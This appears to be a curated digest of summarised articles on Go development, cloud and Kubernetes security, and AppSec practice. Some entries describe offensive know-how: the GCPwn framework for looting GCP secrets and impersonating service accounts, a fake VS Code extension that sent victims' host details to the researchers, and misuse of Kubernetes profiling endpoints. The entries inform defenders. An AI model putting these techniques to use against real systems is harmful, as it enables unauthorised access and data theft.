    • Limits: Meant for local single-user use, no auth by default. App details go to the chosen LLM provider. Agentic analysis makes many calls, so cost scales with codebase size.

    Takeaway: Useful for a first-draft threat model or SARIF findings in CI. Use a local model for sensitive code and review the output as a starting point, not a verdict.

  • An Applied Introduction to eBPF with Go
    summary

    TL;DR: A June 2024 tutorial by Ozan Sazak, based on his Go Konf Istanbul ‘24 talk, introducing eBPF and building two small eBPF programs with Go user-space loaders.

    • Concepts: eBPF runs verified, sandboxed bytecode in the kernel without kernel modules or reboots. Hooks covered: kprobe, kretprobe, uprobe, uretprobe, tracepoint, XDP, USDT.
    • Maps: Hash, array, ring buffer, stack, queue, LRU hash and per-CPU variants share data between kernel and user space.
    • Tooling: eBPF code in C with vmlinux.h; Cilium’s ebpf-go library and bpf2go via go:generate; Lima VM for testing.
    • Example 1: A kprobe on execve sends PIDs and command names through a ring buffer to Go.
    • Example 2: An XDP program parses Ethernet/IPv4/TCP/UDP and counts packets per source IP and port in an LRU hash map.
    • Commands: go generate, go build -o packet_count, sudo ./packet_count --iface eth0.

    Takeaway: A compact, hands-on path to writing eBPF with Go. Good starting point before building custom tracing or network tooling.

  • Announcing GoReleaser v2
    summary

    TL;DR: GoReleaser v2, announced 4 June 2024 by maintainer Carlos Becker (caarlos0), is essentially v1.26.2 with all deprecated options removed to make room for new features.

    • Scope: No new behaviour at release. Removed items are listed under “Removed in v2” on the deprecations page.
    • Features since v1: Whole-file templating, changelog command, SBOM creation, keyless Cosign signing, AUR, Chocolatey, Ko, Winget, DMG/MSI, macOS signing and notarization; some (split/merge releases, Nix/Homebrew across SCMs) are Pro.
    • Migration: Run goreleaser check on v1, remove ./dist/, search for removed flags --rm-dist, --skip-*, --debug, upgrade, then add version: 2 to the config.
    • Testing: goreleaser release --snapshot --clean.
    • GitHub Action: goreleaser-action v6.0.0 defaults to ~> v2 for empty or latest. Set version: "~> v2" explicitly.

    Takeaway: Low-risk upgrade if goreleaser check is clean on v1. Pin ~> v2 in CI to avoid surprises at the next major.

  • Pin GitHub Actions: How Many Top Repos Pin Actions to Commit SHAs
    summary

    TL;DR: A site by Fabian Kammel that measures how many of the 10,000 most-starred GitHub repos pin GitHub Actions to full commit SHAs, and explains why they should.

    • Numbers: About 40% of the repos do not use Actions and are excluded. Only 7% fully pin (data updated April 2026).
    • Why: Tags (@v4) and branches (@main) are mutable and can be moved or recreated by maintainers or attackers. A full SHA is immutable.
    • Convention: Pin the SHA and keep the version as a trailing comment, e.g. # v4.1.1.
    • Tools: Stacklok’s Frizbee: frizbee ghactions -d path/to/your/repo/.github/workflows/. Renovate keeps pins fresh with the helpers:pinGitHubActionDigests preset.
    • Limits: Pinning does not cover an action’s own dependencies, which can still change or be malicious.
    • Data: Raw data and generator code are published.

    Takeaway: Pin every third-party action by SHA and let Renovate bump them. It is cheap and closes the tag-hijack path.

  • Amazon CloudWatch Logs Announces Live Tail Streaming CLI Support
    summary

    TL;DR: AWS announcement (3 June 2024) that CloudWatch Logs Live Tail now works from the AWS CLI and SDKs, not just the console, for real-time view, search and filter of incoming log events.

    • Feature: Streams log events as they are ingested, for deployments and incident investigation.
    • CLI: The linked reference is aws logs start-live-tail. The announcement shows no syntax.
    • Filtering: Fine-grained filter and highlight controls. Specific syntax is not listed in the post.
    • Use: Brings the console experience to the terminal and to custom dashboards inside or outside AWS.
    • Regions: All commercial regions where CloudWatch Logs is available.
    • Pricing: Not stated. See the CloudWatch pricing page.

    Takeaway: Replace console tab-watching with aws logs start-live-tail during deploys. Check Live Tail pricing before leaving sessions open.

  • On Fire Drills and Phishing Tests
    summary

    TL;DR: Matt Linton (Google, “Chaos Specialist”) argues on the Google Security Blog (22 May 2024) that surprise phishing tests resemble early surprise fire evacuation tests and should be replaced by announced “phishing fire drills”.

    • Analogy: Early surprise fire tests caused injuries without improving survival. Engineering (wider doors, push bars, sprinklers) did, and drills became announced training.
    • Mandate: FedRAMP requires annual phishing tests and asks companies to bypass systemic anti-phishing controls during them.
    • Harms: No evidence tests reduce successful phishing; a cited 14,000-participant study found counterproductive effects and persistent repeat clickers. Tests flood D&R teams with reports, leave risky allowlists behind, and erode employee trust.
    • Drill design: Send an email that announces itself as a drill and asks staff to report it via the normal channel.
    • Metrics: Completion of the reporting exercise, time from open to first report, time to first escalation, report counts at 1, 4, 8 and 24 hours.
    • Real fix: Unphishable credentials such as passkeys and multi-party approval; Google says it has not seriously worried about password phishing in nearly a decade.

    Takeaway: Measure and train reporting, not click rates, and spend the effort on phishing-resistant auth.

  • Glasskube: The Next Generation Package Manager for Kubernetes
    summary

    TL;DR: Glasskube is an Apache 2.0 Kubernetes package manager with a GUI and CLI, offering dependency-aware, GitOps-ready packages from a central repository. The repo was archived (read-only) on 17 June 2026.

    • Features: Browser UI and CLI install, typed package configuration (UI or interactive CLI questionnaire), dependency resolution into correct namespaces, update preview and apply, multiple and private repositories.
    • Setup: brew install glasskube/tap/glasskube, glasskube bootstrap, glasskube serve (UI on http://localhost:8580), glasskube install [package].
    • GitOps: Every package is a Kubernetes custom resource, so it can live in Git. Renovate integration was in progress.
    • Claims: Says it is faster than Helm or Kustomize but gives no benchmark.
    • Status: Quick start labelled Beta; about 3.5k stars, 1,177 commits at archive time.

    Takeaway: Interesting take on CRD-based package management, but archived. Do not adopt for new clusters; stick with Helm/Flux/Argo.

  • Netfetch: Scan Kubernetes Clusters for Network Policies and Unprotected Workloads
    summary

    TL;DR: Netfetch is an MIT-licensed Go tool by deggja that scans Kubernetes clusters for network policies and flags workloads no policy targets, with a CLI and a Vue/D3 dashboard.

    • Scanning: Whole cluster or one namespace, save results to file, scan a specific policy to see which pods it selects.
    • Remediation: Can generate default-deny policies where missing; dashboard suggests editable policies from existing workloads.
    • Scoring: Each scan gives a 1-100 score that drops as more workloads lack a policy.
    • Commands: netfetch scan --dryrun, netfetch scan <namespace>, netfetch scan --target <policy-name>, netfetch dash --port 8081 (default 8080).
    • Install: Homebrew tap deggja/netfetch or a Helm chart for the in-cluster dashboard. Needs a kubectl context with rights to read and create network policies.
    • Policy support: Kubernetes NetworkPolicy and Cilium, including cluster-wide Cilium with --cilium.

    Takeaway: Quick way to find pods with no network isolation. Run --dryrun first and review generated default-deny policies before applying.

  • Centrally Manage Member Account Root Email Addresses Across Your AWS Organization
    summary

    TL;DR: AWS announcement (7 June 2024) that the Organizations management account or a delegated admin can now change member accounts’ root email addresses centrally, without signing in as root.

    • Interfaces: AWS CLI, SDKs and the Organizations console, via the Accounts API that already handled contacts and Region opt-in.
    • Verification: The new address must confirm a one-time password. The root email does not change until it is verified.
    • Cost and regions: No extra charge; all commercial and China regions.
    • Prerequisites: Not listed in the announcement; see the linked documentation.
    • Security angle: Removes a reason to log in as root and lets you move root emails off personal or stale mailboxes.

    Takeaway: Audit member account root emails and move them to controlled distribution lists centrally.

  • AWS Adds Passkey Multi-Factor Authentication (MFA) for Root and IAM Users
    summary

    TL;DR: Sébastien Stormacq on the AWS News Blog (11 June 2024): AWS adds FIDO2 passkeys as an MFA option for root and IAM users and begins enforcing MFA for root users.

    • Passkeys: Used as a second factor alongside the password, not a replacement. Domain-bound, so phishing-resistant. Synced passkeys (iCloud Keychain, Google, 1Password) and hardware keys both work.
    • Enforcement: Starts with root users of Organizations management accounts, rolled out a few thousand accounts at a time with a sign-in prompt and grace period. No per-stage dates given.
    • Exclusions: China (Beijing, Ningxia) and GovCloud (US) accounts, which have no root user.
    • Register: IAM console, user, Multi-factor authentication, Assign MFA device, choose passkey or security key, follow browser prompts.
    • Recovery: Multiple MFA devices per user are allowed.
    • Availability: All regions except China.

    Takeaway: Register at least two passkeys or keys on every root user now. Move humans to IAM Identity Center rather than IAM users.

  • How to Safeguard Your SSH Environment with Identity-Aware Proxy and Security Command Center
    summary

    TL;DR: Google Cloud post (14 June 2024, Rahul Ramachandran and Joakim Nydrén) using the XZ Utils backdoor (CVE-2024-3094) as a prompt to front SSH with Identity-Aware Proxy and prioritise exposure with Security Command Center.

    • Context: Google’s public Compute Engine images were not affected. Custom images should follow bulletin GCP-2024-021.
    • IAP controls: Access decided by user group, device context (managed device, disk encryption, OS version, mTLS certs) and network context (IP ranges, geolocation).
    • Attack surface: IAP removes the need for public IPs on VMs.
    • SCC Risk Engine: Attack path simulation, e.g. exposed instance to lateral movement to a high-value database.
    • Example: Cites Wayfair’s use of IAP device posture checks.
    • Limits: Mostly conceptual. No gcloud commands, firewall ranges or IAM roles; it links to the IAP TCP forwarding docs.

    Takeaway: Drop public IPs and SSH via IAP TCP forwarding with device-aware policies. Read the linked docs for the actual setup.

  • Introducing GKE Compliance: Maintain Clusters and Workloads Against Industry Standards
    summary

    TL;DR: Google (Poonam Lamba, 7 June 2024) introduces GKE Compliance, a managed part of GKE posture management that checks clusters and workloads against industry standards with no in-cluster install.

    • Standards: CIS Benchmark for GKE, and Pod Security Standards baseline and restricted profiles.
    • UI: Compliance tab in GKE posture management; fleet-wide or per-cluster view refreshed every 30 minutes.
    • Drill-down: Per-constraint details, non-compliant resources and remediation steps.
    • Pricing: Originally included in GKE Enterprise at no extra cost. A later note says GKE was consolidated into a single paid offering in September 2025.
    • Status: The post does not say preview or GA.

    Takeaway: If you run GKE, enable it for a free continuous CIS/PSS view before buying a third-party KSPM tool.

  • Mastering Go: Challenging Quiz on Advanced Concepts for Go Programmers
    summary

    TL;DR: A 12-question multiple-choice quiz on idyllic.app testing intermediate-to-advanced Go knowledge, by creator @martialdouble-t.

    • Format: Four options per question, one correct; score, share and retake at the end.
    • Topics: reflect package purpose, goroutines, buffered channels, the scheduler, select, sync.WaitGroup, closing channels, context for timeouts and cancellation, garbage collection, deadlock detection.
    • Popularity: About 3.5k plays, rated 3.9 from 5 ratings.
    • Depth: Concept-level questions, not code puzzles.

    Takeaway: A five-minute self-check on Go concurrency basics. Not a substitute for real practice.

  • Common Anti-Patterns in Go Web Applications
    summary

    TL;DR: Miłosz Smółka (Three Dots Labs, 2021) argues most Go web apps decay through tight coupling, and lists anti-patterns with fixes built on separate models and an application layer.

    • Single model: One struct for JSON, DB and validation couples everything. Use separate HTTP, storage and app models with plain mapping functions.
    • Overapplied DRY: Premature abstraction creates coupling; some repetition is fine.
    • Magic tags: ORM permission tags and cross-field validation tags lose compile-time safety. Prefer code generation (oapi-codegen, sqlboiler) and always set explicit tags.
    • Logic in handlers: Move rules into an application layer. Use types valid by construction instead of raw strings for IDs.
    • Schema-first / CRUD-first: Model domain behaviour (e.g. create team with owner in one call), not tables.
    • Distributed monolith: Do not split into microservices before boundaries are clear.
    • Numbers: Four implementations of one domain: 292 lines (strong coupling), 345 (medium), 298 + 2,154 generated (medium), 408 (weak coupling).

    Takeaway: Decoupling costs a bit more code up front. Start by splitting API and DB models; it pays off as the app grows.

  • Neosync: Open-Source Data Anonymization and Synthetic Data Orchestration
    summary

    TL;DR: Neosync is an MIT-licensed platform for anonymising production data, generating synthetic data and syncing it across environments. Acquired by Grow Therapy and archived on 30 August 2025; no longer maintained.

    • Features: Synthetic data from schema, PII anonymisation, SQL-based subsetting, referential integrity preserved.
    • Pipeline: Async jobs with retries using an event-sourcing model.
    • Transformers: Pre-built for common data types, plus custom JavaScript or LLM-based ones.
    • Integrations: PostgreSQL, MySQL, S3.
    • Deploy: Docker Compose (make compose/up, UI on localhost:3000) or Helm chart charts/neosync.
    • Config: Declarative, GitOps-style for CI.

    Takeaway: Good reference design for test-data anonymisation, but unmaintained. Choose a maintained alternative for new work.

  • Three Ways to Think About Channels
    summary

    TL;DR: Max Hoffman (DoltHub, June 2024) explains Go channels from three angles: as locked queues, as part of a set of concurrency primitives, and as CSP message passing.

    • Queue view: A fixed-size, lock-protected queue. Senders block when full; receivers drain after close. Writing to a closed channel or closing a nil/closed one is a bug.
    • Patterns: select with default for non-blocking trySend; a done channel as escape hatch.
    • Primitives: WaitGroup for known work where errors do not matter; errgroup for unbounded work, shutdown and context cancellation.
    • CSP view: Based on Hoare’s CSP. Sending pointers still shares memory; the main gain is cheap concurrency.
    • Real example: Dolt’s fetcher refactor uses about a dozen channel contexts to coordinate table downloads.
    • Caveat: Mutexes or atomics can be faster in some cases.

    Takeaway: When channel code confuses you, ask what a queue would do, and pair channels with errgroup for real shutdown handling.

  • A Pragmatic Guide to Go Module Updates
    summary

    TL;DR: Carlos Becker (GoReleaser maintainer, June 2024) explains Go module versioning in practice: tagging, moving to v2+, monorepo tags and retractions.

    • Initial versions: Untagged modules get pseudo-versions v0.0.0-{timestamp}-{commithash}. Tagging v0.1.0 is just a git tag.
    • Major versions: v2+ needs a /v2 module path suffix, e.g. module github.com/fake/mod/v2; users run go get github.com/fake/mod/v2@v2.0.0.
    • Import rewrite: Update imports before tagging or v2 depends on v1. His gomod-rename script runs go mod edit -module and sed over .go files.
    • Monorepos: Prefix tags with the directory, e.g. git tag ansi/v0.1.0.
    • Retraction: Add retract v11.0.1 with a reason to go.mod; users get a warning.

    Takeaway: Handy checklist for a v2 bump. Rewrite imports and verify the build before you push the tag.

  • Shameless Green: TDD in Go
    summary

    TL;DR: John Arundel (Bitfield Consulting), in an excerpt from The Power of Go: Tests, shows “shameless green” TDD: write the simplest code that passes the failing test, then tidy up.

    • Origin: Term from Sandi Metz and Katrina Owen’s 99 Bottles of OOP.
    • Example: A ListItems function for a text adventure, e.g. “You can see here a battery, a key, and a tourist map.”
    • Steps: Failing test, ugly passing code, cmp.Diff for clear failure output, refactor into a table test with a testCase struct, add one case at a time.
    • Rule: “New behaviour, new test”, so you know when you are done.
    • Advice: Correctness first, beauty second; shameless green code can ship if needed.

    Takeaway: Use cmp.Diff and table tests from the start, and resist designing before the tests force it.

  • Consistently Prepared: Year-Round Strategies for Career Growth
    summary

    TL;DR: Leif, a Senior Engineering Manager at Semgrep (ex-Segment, Twilio), gives software and security ICs year-round habits so review and promotion season is not a scramble, with tips for managers.

    • Hype list: A spreadsheet with Month, What, Impact, Notes columns, one tab per year. “If it isn’t recorded, it didn’t happen.”
    • Impact: Describe business or customer effect with metrics, not just what was built.
    • Artifacts: Design docs, project retros, quarterly team retros, and weekly notes on a recurring reminder.
    • Visibility: Demos, team-channel updates, recognising teammates, public writing or talks, documenting and training others.
    • Career ladders: IC and manager each rate a deconstructed ladder before reviews, then compare. Near promotion, fill in both current and next level.
    • Manager tips: Write reviews a successor could use, prepare calibration cheat sheets, line up other managers to vouch for reports.

    Takeaway: Start a hype list today and update it monthly; it turns self-reviews and promo cases into copy-paste work.

  • 6 Questions to Ask When Interviewing for an AppSec Role
    summary

    TL;DR: Louis Nyffenegger (PentesterLab founder) lists six questions AppSec candidates should ask at the end of an interview to judge whether the role fits (June 2024).

    • Build or buy: Shows whether the job is engineering-heavy or tool deployment and management.
    • Training: Conference and platform budget signals whether skills stay current.
    • Dev/DevOps relationship: Collaborative vs siloed or adversarial; does AppSec take part in adopting new tech.
    • Typical day: Meetings vs design reviews, code review or pentesting.
    • Next three problems: Gauges maturity and strategy vs constant firefighting.
    • Recent win: Shows what the team values and whether its strategy works.
    • Advice: Pick one or two that matter most; the interview is two-way.

    Takeaway: Keep these in your back pocket for AppSec interviews, especially “next three problems” to detect a reactive team.

  • The Path to Zero Touch Production (Slides)
    summary

    TL;DR: Rami McCarthy’s deck (June 2024) on moving toward Zero Touch Production, where humans do not touch prod directly and every change is automated, software-validated or made through audited break-glass.

    • Why: Human access brings risk from attackers and mistakes; the deck cites Google attributing 13% of incidents to human interaction.
    • Maturity stages: Initial (everyone admin, SSH), Foundational (standing RBAC, ~50 engineers), Established (granular RBAC, JIT, ~500), Advanced (shell phased out, guardrailed tools), Zero Touch.
    • Shell options compared: SSH, EC2 Instance Connect (and Endpoint), WireGuard, SSM Session Manager, ECS Exec, Verified Access, VDI, Cloud9. Recommends SSM by stage 3, ECS Exec for ECS.
    • Replacement capabilities: SSM RunCommand scripts, async jobs, internal tool platforms (Clutch, Retool, Django Admin), SSM Automation, read-only analytics, JIT and break-glass.
    • Metrics: Active shell access and incident MTTR.
    • Caveat: Zero touch is a north star, rarely the highest-ROI security investment.

    Takeaway: Use the stages to place your org, then invest in JIT access and a smooth access UX before trying to remove shells.

  • Stop Worrying About allowPrivilegeEscalation
    summary

    TL;DR: Christophe Tafani-Dereeper explains that Kubernetes allowPrivilegeEscalation only controls the Linux no_new_privs flag, so leaving it at the default true is far less dangerous than scanners suggest.

    • What it does: Sets no_new_privs on the container process so children cannot gain privileges via setuid/setgid binaries. runc applies it.
    • What it does not do: It does not let a process become root, escape the container or escalate in the cluster by itself, and does not block kernel exploits such as DirtyCow-style bugs.
    • Experiment: An Alpine image with a root-owned setuid binary calling setreuid/setregid got root with the option on; with it off the calls failed. A C program setting no_new_privs before a shell gave the same block.
    • Irrelevant cases: No practical effect for workloads already running as root; cannot be combined with privileged mode.
    • Verdict: Setting it to false is sound hardening, but its absence is not a critical finding.

    Takeaway: Set allowPrivilegeEscalation: false in baseline templates, but prioritise fixing privileged containers and root workloads first.

  • How We Hacked Multi-Billion Dollar Companies in 30 Minutes Using a Fake VSCode Extension
    summary

    (Could not fetch full text.)

    TL;DR: Part 1 of a series by Amit Assaraf, Itay Kruk and Idan Dardikman (later Koi Security) on publishing a fake “Darcula” copy of the Dracula Official VS Code theme to show how weak Marketplace trust signals are.

    • Setup: Built in about 30 minutes from the real theme’s source plus a collection script. Registered darculatheme.com to get a verified publisher badge via DNS verification alone, and linked the real Dracula repo.
    • Data collected: Hostname, domain, OS platform and installed extension count sent to their server.
    • Reach: 100+ installs within a day, including a machine at a company worth $483 billion, large security vendors and a national court network.
    • Weaknesses: 45,000 publishers but only 1,800 verified; package.json repo URLs are not checked; no extension permission model; auto-update on by default. A 2018 permissions request (microsoft/vscode #52116) got no response.
    • Follow-up: Their ExtensionTotal scanner reported 1,283 extensions with known malicious code (229M installs), 8,161 talking to hardcoded IPs, 2,304 using another publisher’s repo.
    • Source caveat: Medium returned 403. Based on the GIGAZINE write-up and BleepingComputer/BankInfoSecurity coverage found via search.

    Takeaway: Treat VS Code extensions as unsandboxed code. Allowlist extensions on developer machines and do not trust the verified badge.

  • Taking a Look at Kubernetes Profiling
    summary

    TL;DR: Rory McCune (raesene, June 2024) looks at the Go pprof profiling endpoints Kubernetes components expose by default and what someone with access can do with them.

    • Exposure: /debug/pprof/profile is on by default in kube-apiserver, kube-scheduler, kube-controller-manager and the Kubelet; kube-proxy is the exception.
    • AuthZ: Control-plane endpoints use RBAC non-resource URLs (usually cluster-admin). Kubelet profiling sits under node/proxy.
    • Log level change: curl -X PUT http://127.0.0.1:8001/debug/flags/v -d "10" sets debug verbosity remotely.
    • Profiling: go tool pprof -http=:8080 http://localhost:8001/debug/pprof/profile.
    • Risks: In managed clusters, raised log levels could enable CVE-2020-8561-style leaks or DoS; traces might contain sensitive data (not observed).
    • Disable: --profiling=false for apiserver, controller-manager, scheduler; enableDebuggingHandlers for Kubelet.

    Takeaway: Turn profiling off in production and audit who holds node/proxy, which is more powerful than it looks.

  • GCPwn: Enumeration and Exploitation Framework for GCP, Modeled Like Pacu for AWS
    summary

    TL;DR: GCPwn is a BSD-3 Python framework from NetSPI, by Scott (@WebbinRoot), for enumerating, testing permissions on and exploiting GCP and Google Workspace, modelled on Pacu for AWS.

    • Coverage: About 44 Google Cloud client libraries, including Storage, IAM, GKE, Cloud Run, Secret Manager, Functions, Compute, BigQuery, Artifact Registry. Limited Workspace (users, groups, roles, OUs, devices, OAuth grants).
    • Permission checks: testIamPermissions calls plus IAM binding analysis.
    • Loot: Optional download of bucket contents and secret values; experimental Drive download.
    • Exploit modules: E.g. service account impersonation and Workload Identity Federation exchange.
    • Output: JSON, CSV, Excel and BloodHound CE OpenGraph JSON for attack paths.
    • Install: pip3 install gcpwn (extras gcpwn[table,excel]), or clone and python -m gcpwn, binary or Docker.

    Takeaway: The GCP equivalent of Pacu for authorised assessments. Run it with a leaked-credential scenario to see real blast radius.

  • How to Create a Pipeline for Hardening Amazon EKS Nodes and Automate Updates
    summary

    TL;DR: AWS Security Blog post by Nima Fotouhi (June 2024) building a pipeline that applies CIS benchmarks to EKS-optimised AMIs and rolls hardened images out to managed node groups automatically.

    • Benchmarks: CIS Amazon Linux 2 v2.0.0 and Amazon Linux 2023 v1.0.0 via Ansible Lockdown roles.
    • Build: EC2 Image Builder applies the roles, publishes the AMI, stores benchmark results in S3 and triggers an Amazon Inspector scan.
    • Rollout: SNS and Lambda start a state machine that creates new launch template versions and updates EKS managed node groups.
    • Freshness: A weekly EventBridge rule runs a Lambda that checks for a newer EKS-optimised parent AMI and notifies subscribers.
    • Deploy: CloudFormation template from a GitHub repo; parameters include Ansible args and ClusterTags to select clusters.
    • Prerequisites: EKS cluster with custom-launch-template node groups, AWS CLI, Inspector enabled.
    • Caveat: Do a threat analysis and review each CIS control for workload compatibility first.

    Takeaway: A ready template if you must ship CIS-hardened nodes. Test controls in a non-prod cluster since some break kubelet or workloads.

  • Cloud Security Posture and Contextualization Across Cloud Boundaries from a Single Dashboard
    summary

    (Could not fetch full text.)

    TL;DR: A Microsoft Defender for Cloud blog post on the Microsoft Community Hub (2024) about viewing cloud security posture and context across clouds from one dashboard.

    • Scope: Per Microsoft docs on the same feature set, the Defender for Cloud overview covers Azure, AWS, GCP, on-prem and connected DevOps tools in one place.
    • Posture score: Findings roll into a single secure score; higher means less identified risk.
    • Context: Attack path analysis and risk-based prioritisation by exploitability and business impact.
    • Scoping: Tenant-level or scoped views with unified RBAC per persona.
    • Source caveat: The page is JS-rendered and returned only its title. Points are based on Microsoft Learn docs for the Defender for Cloud overview dashboard found via search, not the post itself.

    Takeaway: Relevant if you run Defender CSPM across multiple clouds. Read the Microsoft Learn overview page for current details.

13.05.2024

  • Detecting Manual AWS Actions: An Update!
    summary

    TL;DR: Arkadiy Tetelman (Feb 2024) updates his 2019 method for alerting on manual (non-IaC) AWS changes, replacing user-agent matching with an identity invariant from Okta SAML session names.

    • Old approach: Matched console user-agent strings; brittle and missed CLI/API activity.
    • Invariant: Humans reach AWS only through Okta and AssumeRoleWithSAML, and Okta sets the role session name to the employee’s email.
    • Rule: Alert when the session name ends in the company domain, CloudTrail readOnly is false, and the event is not on an exception list.
    • Exceptions: A hardcoded list fixes AWS events mislabelled as read/write; some mutating events are excluded for operational reasons.
    • Bypass detection: A second alert on AssumeRole where the original session name ends in the company domain and the new one differs.
    • Caveats: The exception list is tailored to his services; events like ConsoleLogin may deserve dedicated alerts.

    Takeaway: If humans federate through one IdP, key detections on session name plus readOnly instead of user agents. Add the session-rename alert or it is trivially bypassed.

  • Popular Git Config Options
    summary

    TL;DR: Julia Evans (Feb 2024) compiles the most popular git config options from a Mastodon poll, with what each does.

    • Pull: pull.ff only or pull.rebase true to avoid accidental merge commits.
    • Conflicts: merge.conflictstyle zdiff3 shows the original code; rerere.enabled true reuses resolutions.
    • Rebase: rebase.autosquash true, rebase.autostash true.
    • Push: push.default simple/current, push.autoSetupRemote true.
    • Diffs: diff.algorithm histogram, diff.colorMoved default, core.pager delta, commit.verbose true.
    • Misc: init.defaultBranch main, help.autocorrect, core.excludesfile, includeIf for work/personal configs, url."git@github.com:".insteadOf, fsckobjects true, branch.sort -committerdate.
    • Caveat: Many defaults have changed, so some options are now redundant.

    Takeaway: Worth a skim to steal three or four settings, zdiff3, histogram and autoSetupRemote being the usual wins.

  • How to Develop an Amazon Security Lake POC
    summary

    TL;DR: AWS Security Blog guide (Feb 2024, Anna McAbee, Marc Luescher, Marshall Jones) on planning and running an Amazon Security Lake proof of concept.

    • Six steps: Understand the service, set success criteria, define configuration, prepare, enable, validate.
    • Success criteria examples: Centralise org logs, cheaper VPC Flow Logs into a SIEM, augment on-prem SIEM with OpenSearch, feed SageMaker, QuickSight dashboard of Security Hub findings.
    • Sources: CloudTrail, VPC Flow Logs, Route 53 Resolver logs, partner and custom sources; EKS and WAF logs added in a Sept 2024 update.
    • Format: Normalised to OCSF and stored as compressed Parquet.
    • Subscribers: Athena and other AWS services, or partner SIEMs.
    • Cost: 15-day free trial per account from enablement; enable all accounts during the trial to get a realistic estimate.
    • Timeline: Third-party sources usually take longer; consider a second phase.

    Takeaway: Use the trial window deliberately: turn on every account and source you plan to keep, then read the usage page before committing.

  • How I Keep Myself Alive Using Golang
    summary

    TL;DR: Matt Boyle (Cloudflare engineering manager, Type 1 diabetic) describes a Go system on Encore that monitors his blood glucose and treats lows as incidents with escalation (ByteSizeGo, March 2024).

    • Ingest: A Miao Miao reader scans his Libre sensor every two minutes; the Tomato app posts readings to his endpoint (he used an echo server to learn the payload).
    • Metrics: Each reading updates a gauge shown in Grafana; also stored in Postgres best-effort, logging errors rather than failing.
    • Annotations: A Telegram bot logs food, exercise and insulin as Grafana annotations.
    • Alerting: A 5-minute cron opens an incident.io incident when glucose is below 4; texting “i need help” also opens one.
    • Escalation: Unresolved incidents page family members after 20 minutes.
    • Stack: Encore for APIs, cron, metrics and logs; Go stdlib net/http, encoding/json.

    Takeaway: A neat example of applying on-call tooling to a personal problem, and of how little code Encore needs for cron plus metrics.

  • Auditing AWS EKS Pod Permissions
    summary

    TL;DR: Eric Johnson (Puma Security, Feb 2024) explains the three ways EKS pods get AWS permissions and gives scripts to map each pod to its IAM policies.

    • Node role via IMDS: Pods reach IMDS by default and inherit the node role, which mixes kubelet and workload permissions and enables cross-namespace escalation.
    • IRSA: Service account annotation eks.amazonaws.com/role-arn, webhook-injected env vars, sts:AssumeRoleWithWebIdentity via the cluster OIDC provider.
    • EKS Pod Identity: Associations defined at cluster level, credentials from a link-local endpoint with a token file.
    • Mitigation: IMDSv2 with hop limit 1, or a Calico NetworkPolicy denying egress to 169.254.169.254/32.
    • Audit: IRSA: kubectl get serviceaccounts -A then aws iam list-attached-role-policies. Pod Identity: aws eks list-pod-identity-associations and describe-pod-identity-association.
    • Tools: jq, Terraform metadata_options, Datadog’s Managed Kubernetes Auditing Toolkit (MKAT).

    Takeaway: Block IMDS from pods first, then use the scripts or MKAT to inventory which service accounts carry which IAM rights.

  • GitHub Enables Push Protection by Default to Stop Secrets Leaks
    summary

    TL;DR: BleepingComputer (Sergiu Gatlan, 29 Feb 2024): GitHub turned on secret scanning push protection by default for all public repositories.

    • What it does: Scans pushes and blocks commits containing secrets before they land.
    • Coverage: Over 200 token types and patterns from more than 180 providers (API keys, private keys, access tokens).
    • History: Beta April 2022, GA for public repos May 2023.
    • Rollout: Could take a week or two to reach each account.
    • Bypass: Remove the secret or mark it safe and bypass; can be disabled in settings (not recommended).
    • Numbers: Over 1 million secrets leaked in public repos in the first eight weeks of 2024, “more than a dozen accidental leaks every minute”.
    • Private repos: Need GitHub Advanced Security on Enterprise.

    Takeaway: Free safety net for public repos. Also enable it for private repos where licensed and still run your own pre-commit scanner.

  • GopherCon 2023 Talks
    summary

    TL;DR: Gopher Academy’s official YouTube playlist of GopherCon 2023 talks, about 23 videos.

    • Language and stdlib: “Go Changes” (Russ Cox), “Everything You Always Wanted to Know About Type Inference” (Robert Griesemer), “Structured Logging for the Standard Library” (Jonathan Amsterdam), “The Future of JSON in Go” (Joe Tsai).
    • Security: “High-Assurance Go Cryptography” (Filippo Valsorda), “Vulnerability Management for Go” (Julie Qiu), “Understanding Supply Chain Threats with Static Analysis” (Jess McClintock).
    • Performance: “Building a Highly Concurrent Cache in Go” (Konrad Reiche), “Balanced GC: A Copying Garbage Collector” (Yifei Zhang), “Blazing Fast Merge with Loser Trees” (Bryan Boreham).
    • Practice: “Idiomatic Go Tells a Story” (Kaylyn Gibilterra), “Clean Up Your GOOOP” (Dylan Bourque), “Reliably Absorbing a Go Release” (Madhav Jivrajani).
    • Tools and fun: Bubble Tea TUIs (Andy Haskell), Orchestrion auto-instrumentation (Jon Bodner), distributed systems (Philip O’Toole), a pinball machine revival (Jeremy Fleitz).

    Takeaway: For security-minded Go devs, start with Valsorda, Qiu and McClintock, then Russ Cox’s “Go Changes”.

  • Arcjet JS SDKs: Rate Limiting, Bot Protection and Attack Defense for Next.js and Node.js
    summary

    TL;DR: Arcjet JS is an Apache 2.0 monorepo of runtime security SDKs for JavaScript/TypeScript apps and AI agents, adding rate limiting, bot protection, WAF-style shielding and more inside your code.

    • Rules: Rate limiting (token bucket, fixed and sliding window, per-user AI token budgets), bot detection by category, Shield against OWASP Top 10, email validation (disposable, invalid), prompt injection and sensitive info detection, IP analysis (VPN, proxy, Tor, hosting), filters and custom rules.
    • Entry points: Request SDKs for HTTP routes; @arcjet/guard for agent tool calls, MCP handlers, queues and jobs.
    • Frameworks: Next.js, Node.js, Bun, Deno, Express, Fastify, Hono, NestJS, Nuxt, Remix, React Router, SvelteKit, Astro.
    • Local analysis: WebAssembly packages (analyze-wasm, redact-wasm); sensitive info detection runs on-device.
    • Setup: npx @arcjet/cli auth login, then e.g. npm i @arcjet/next. Needs an ARCJET_KEY.
    • Caveat: Requires the Arcjet hosted service and key; the README does not fully state which checks are local.

    Takeaway: A quick way to add rate limits and bot blocking in code for JS apps. Weigh the SaaS dependency against a WAF or self-hosted limiter.

  • Hot Takes Episode 1: Protect Your Infrastructure from Yourself
    summary

    (Could not fetch full text.)

    TL;DR: Episode 1 of Teleport’s “Hot Takes” panel series (Nov 2023, about 30 minutes), arguing that human error, not hackers or ransomware, is the biggest threat to infrastructure security.

    • Panel: Kubernetes community figures Kat Cosgrove, Divya Mohan, Frederick Kautz, Chris Short and Kunal Kushwaha.
    • Thesis: “Protect your infrastructure from yourself”: mistakes by operators outweigh external attackers.
    • Publisher: Teleport, an infrastructure access vendor, so expect framing toward access controls.
    • Length: 1,781 seconds (about 30 minutes), published 17 Nov 2023.
    • Source caveat: No transcript available. Based only on the YouTube title, channel and description.

    Takeaway: Background viewing on the case for guardrails and least privilege against operator error. Pair with zero-touch-prod material for concrete steps.

